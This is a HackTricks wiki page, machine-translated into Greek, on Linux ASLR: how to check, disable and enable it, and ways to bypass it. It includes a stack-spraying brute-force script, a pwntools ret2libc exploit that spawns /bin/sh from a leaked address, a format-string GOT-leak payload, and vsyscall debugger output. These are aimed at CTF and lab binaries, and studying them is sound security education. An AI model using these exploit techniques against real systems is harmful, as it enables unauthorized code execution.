ASLR

Reading time: 11 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Basic Information

Η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR) είναι μια τεχνική ασφαλείας που χρησιμοποιείται σε λειτουργικά συστήματα για να τυχαίνει τις διευθύνσεις μνήμης που χρησιμοποιούνται από διαδικασίες συστήματος και εφαρμογών. Με αυτόν τον τρόπο, καθιστά σημαντικά πιο δύσκολο για έναν επιτιθέμενο να προβλέψει την τοποθεσία συγκεκριμένων διαδικασιών και δεδομένων, όπως η στοίβα, η σωρός και οι βιβλιοθήκες, μειώνοντας έτσι ορισμένους τύπους εκμεταλλεύσεων, ιδιαίτερα τις υπερχειλίσεις μνήμης.

Checking ASLR Status

Για να ελέγξετε την κατάσταση ASLR σε ένα σύστημα Linux, μπορείτε να διαβάσετε την τιμή από το /proc/sys/kernel/randomize_va_space αρχείο. Η τιμή που αποθηκεύεται σε αυτό το αρχείο καθορίζει τον τύπο ASLR που εφαρμόζεται:

  • 0: Καμία τυχαία διάταξη. Όλα είναι στατικά.
  • 1: Συντηρητική τυχαία διάταξη. Οι κοινές βιβλιοθήκες, η στοίβα, το mmap(), η σελίδα VDSO είναι τυχαίες.
  • 2: Πλήρης τυχαία διάταξη. Εκτός από τα στοιχεία που τυχαίνουν από τη συντηρητική τυχαία διάταξη, η μνήμη που διαχειρίζεται μέσω του brk() είναι τυχαία.

Μπορείτε να ελέγξετε την κατάσταση ASLR με την παρακάτω εντολή:

bash
cat /proc/sys/kernel/randomize_va_space

Απενεργοποίηση ASLR

Για να απενεργοποιήσετε το ASLR, ορίστε την τιμή του /proc/sys/kernel/randomize_va_space σε 0. Η απενεργοποίηση του ASLR γενικά δεν συνιστάται εκτός από σενάρια δοκιμών ή αποσφαλμάτωσης. Ακολουθούν οι οδηγίες για την απενεργοποίησή του:

bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Μπορείτε επίσης να απενεργοποιήσετε το ASLR για μια εκτέλεση με:

bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Ενεργοποίηση ASLR

Για να ενεργοποιήσετε το ASLR, μπορείτε να γράψετε μια τιμή 2 στο αρχείο /proc/sys/kernel/randomize_va_space. Αυτό συνήθως απαιτεί δικαιώματα root. Η πλήρης τυχαία κατανομή μπορεί να γίνει με την ακόλουθη εντολή:

bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Επιμονή Μεταξύ Επανεκκινήσεων

Οι αλλαγές που γίνονται με τις εντολές echo είναι προσωρινές και θα επαναρυθμιστούν κατά την επανεκκίνηση. Για να κάνετε την αλλαγή μόνιμη, πρέπει να επεξεργαστείτε το αρχείο /etc/sysctl.conf και να προσθέσετε ή να τροποποιήσετε την παρακάτω γραμμή:

tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Μετά την επεξεργασία του /etc/sysctl.conf, εφαρμόστε τις αλλαγές με:

bash
sudo sysctl -p

Αυτό θα διασφαλίσει ότι οι ρυθμίσεις ASLR σας παραμένουν κατά τη διάρκεια των επανεκκινήσεων.

Παρακάμψεις

32bit brute-forcing

Το PaX χωρίζει τον χώρο διευθύνσεων της διαδικασίας σε 3 ομάδες:

  • Κώδικας και δεδομένα (αρχικοποιημένα και μη αρχικοποιημένα): .text, .data, και .bss —> 16 bits εντροπίας στη μεταβλητή delta_exec. Αυτή η μεταβλητή αρχικοποιείται τυχαία με κάθε διαδικασία και προστίθεται στις αρχικές διευθύνσεις.
  • Μνήμη που έχει κατανεμηθεί από το mmap() και κοινές βιβλιοθήκες —> 16 bits, ονομάζεται delta_mmap.
  • Η στοίβα —> 24 bits, αναφέρεται ως delta_stack. Ωστόσο, χρησιμοποιεί αποτελεσματικά 11 bits (από το 10ο έως το 20ό byte συμπεριλαμβανομένου), ευθυγραμμισμένο σε 16 bytes —> Αυτό έχει ως αποτέλεσμα 524,288 δυνατές πραγματικές διευθύνσεις στοίβας.

Τα προηγούμενα δεδομένα αφορούν συστήματα 32-bit και η μειωμένη τελική εντροπία καθιστά δυνατή την παράκαμψη του ASLR δοκιμάζοντας την εκτέλεση ξανά και ξανά μέχρι να ολοκληρωθεί επιτυχώς η εκμετάλλευση.

Ιδέες brute-force:

  • Αν έχετε μια αρκετά μεγάλη υπερχείλιση για να φιλοξενήσετε μια μεγάλη NOP sled πριν από το shellcode, μπορείτε απλά να δοκιμάσετε διευθύνσεις στη στοίβα μέχρι η ροή να πηδήξει πάνω από κάποιο μέρος της NOP sled.
  • Μια άλλη επιλογή για αυτό σε περίπτωση που η υπερχείλιση δεν είναι τόσο μεγάλη και η εκμετάλλευση μπορεί να εκτελείται τοπικά είναι να προσθέσετε την NOP sled και το shellcode σε μια μεταβλητή περιβάλλοντος.
  • Αν η εκμετάλλευση είναι τοπική, μπορείτε να προσπαθήσετε να δοκιμάσετε τη βασική διεύθυνση της libc (χρήσιμο για συστήματα 32bit):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Αν επιτίθεστε σε έναν απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να σπάσετε τη διεύθυνση της συνάρτησης libc usleep, περνώντας ως επιχείρημα 10 (για παράδειγμα). Αν σε κάποιο σημείο ο διακομιστής χρειαστεί 10 δευτερόλεπτα επιπλέον για να απαντήσει, βρήκατε τη διεύθυνση αυτής της συνάρτησης.

tip

Σε συστήματα 64bit η εντροπία είναι πολύ υψηλότερη και αυτό δεν θα έπρεπε να είναι δυνατό.

64 bits stack brute-forcing

Είναι δυνατόν να καταλάβετε ένα μεγάλο μέρος της στοίβας με μεταβλητές περιβάλλοντος και στη συνέχεια να προσπαθήσετε να εκμεταλλευτείτε το δυαδικό εκατοντάδες/χίλιες φορές τοπικά.
Ο παρακάτω κώδικας δείχνει πώς είναι δυνατόν να επιλέξετε απλώς μια διεύθυνση στη στοίβα και κάθε μερικές εκατοντάδες εκτελέσεις αυτή η διεύθυνση θα περιέχει την εντολή NOP:

c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
python
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Τοπικές Πληροφορίες (/proc/[pid]/stat)

Το αρχείο /proc/[pid]/stat μιας διαδικασίας είναι πάντα αναγνώσιμο από όλους και περιέχει ενδιαφέρουσες πληροφορίες όπως:

  • startcode & endcode: Διευθύνσεις πάνω και κάτω με το TEXT του δυαδικού
  • startstack: Η διεύθυνση της αρχής της στοίβας
  • start_data & end_data: Διευθύνσεις πάνω και κάτω όπου είναι το BSS
  • kstkesp & kstkeip: Τρέχουσες διευθύνσεις ESP και EIP
  • arg_start & arg_end: Διευθύνσεις πάνω και κάτω όπου είναι τα cli arguments.
  • env_start &env_end: Διευθύνσεις πάνω και κάτω όπου είναι οι env variables.

Επομένως, αν ο επιτιθέμενος βρίσκεται στον ίδιο υπολογιστή με το δυαδικό που εκμεταλλεύεται και αυτό το δυαδικό δεν περιμένει την υπερχείλιση από ακατέργαστους παραμέτρους, αλλά από μια διαφορετική είσοδο που μπορεί να κατασκευαστεί μετά την ανάγνωση αυτού του αρχείου. Είναι δυνατόν για έναν επιτιθέμενο να πάρε κάποια διευθύνσεις από αυτό το αρχείο και να κατασκευάσει offsets από αυτές για την εκμετάλλευση.

tip

Για περισσότερες πληροφορίες σχετικά με αυτό το αρχείο, ελέγξτε https://man7.org/linux/man-pages/man5/proc.5.html αναζητώντας το /proc/pid/stat

Έχοντας μια διαρροή

  • Η πρόκληση είναι να δώσετε μια διαρροή

Αν σας δοθεί μια διαρροή (εύκολες προκλήσεις CTF), μπορείτε να υπολογίσετε offsets από αυτήν (υποθέτοντας για παράδειγμα ότι γνωρίζετε την ακριβή έκδοση της libc που χρησιμοποιείται στο σύστημα που εκμεταλλεύεστε). Αυτό το παράδειγμα εκμετάλλευσης είναι αποσπασμένο από το παράδειγμα από εδώ (ελέγξτε αυτή τη σελίδα για περισσότερες λεπτομέρειες):

python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Καταχρώντας μια υπερχείλιση buffer, θα ήταν δυνατό να εκμεταλλευτεί κανείς ένα ret2plt για να εξάγει μια διεύθυνση μιας συνάρτησης από τη libc. Έλεγχος:

Ret2plt

  • Format Strings Arbitrary Read

Ακριβώς όπως στο ret2plt, αν έχετε μια αυθαίρετη ανάγνωση μέσω μιας ευπάθειας format strings, είναι δυνατό να εξάγετε τη διεύθυνση μιας libc function από το GOT. Το παρακάτω παράδειγμα είναι από εδώ:

python
payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με την τυχαία ανάγνωση Format Strings στο:

Format Strings

Ret2ret & Ret2pop

Δοκιμάστε να παρακάμψετε το ASLR εκμεταλλευόμενοι διευθύνσεις μέσα στη στοίβα:

Ret2ret & Reo2pop

vsyscall

Ο μηχανισμός vsyscall εξυπηρετεί στην ενίσχυση της απόδοσης επιτρέποντας σε ορισμένες κλήσεις συστήματος να εκτελούνται σε χώρο χρήστη, αν και είναι θεμελιωδώς μέρος του πυρήνα. Το κρίσιμο πλεονέκτημα των vsyscalls έγκειται στις σταθερές διευθύνσεις τους, οι οποίες δεν υπόκεινται σε ASLR (Τυχαία Διάταξη Χώρου Διευθύνσεων). Αυτή η σταθερή φύση σημαίνει ότι οι επιτιθέμενοι δεν απαιτούν μια ευπάθεια διαρροής πληροφοριών για να προσδιορίσουν τις διευθύνσεις τους και να τις χρησιμοποιήσουν σε μια εκμετάλλευση.
Ωστόσο, δεν θα βρείτε εδώ πολύ ενδιαφέροντα gadgets (αν και για παράδειγμα είναι δυνατό να αποκτήσετε ένα ισοδύναμο ret;)

(Το παρακάτω παράδειγμα και ο κώδικας είναι από αυτή τη γραφή)

Για παράδειγμα, ένας επιτιθέμενος μπορεί να χρησιμοποιήσει τη διεύθυνση 0xffffffffff600800 μέσα σε μια εκμετάλλευση. Ενώ η προσπάθεια άμεσης μετάβασης σε μια εντολή ret μπορεί να οδηγήσει σε αστάθεια ή κρα crashes μετά την εκτέλεση μερικών gadgets, η μετάβαση στην αρχή μιας syscall που παρέχεται από την ενότητα vsyscall μπορεί να αποδειχθεί επιτυχής. Τοποθετώντας προσεκτικά ένα gadget ROP που οδηγεί την εκτέλεση σε αυτή τη διεύθυνση vsyscall, ένας επιτιθέμενος μπορεί να επιτύχει εκτέλεση κώδικα χωρίς να χρειάζεται να παρακάμψει το ASLR για αυτό το μέρος της εκμετάλλευσης.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Σημειώστε λοιπόν πώς μπορεί να είναι δυνατό να παρακαμφθεί το ASLR εκμεταλλευόμενοι το vdso αν ο πυρήνας έχει μεταγλωττιστεί με το CONFIG_COMPAT_VDSO, καθώς η διεύθυνση vdso δεν θα τυχαίνει τυχαίας κατανομής. Για περισσότερες πληροφορίες ελέγξτε:

Ret2vDSO

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks